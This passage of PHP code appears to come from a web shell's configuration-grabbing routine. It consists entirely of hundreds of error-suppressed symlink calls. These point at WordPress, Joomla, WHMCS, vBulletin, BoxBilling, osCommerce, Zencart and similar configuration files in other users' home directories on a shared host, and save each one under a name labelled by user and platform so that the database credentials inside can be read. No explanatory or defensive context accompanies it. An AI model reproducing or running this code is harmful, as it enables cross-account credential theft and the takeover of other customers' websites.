@symlink('/home2/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
//Home3
@symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home3/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
@symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home3/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home3/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home3/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
@symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
@symlink('/home3/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home3/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home3/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home3/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
//Home4
@symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home4/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
@symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home4/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home4/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home4/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
@symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
@symlink('/home4/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
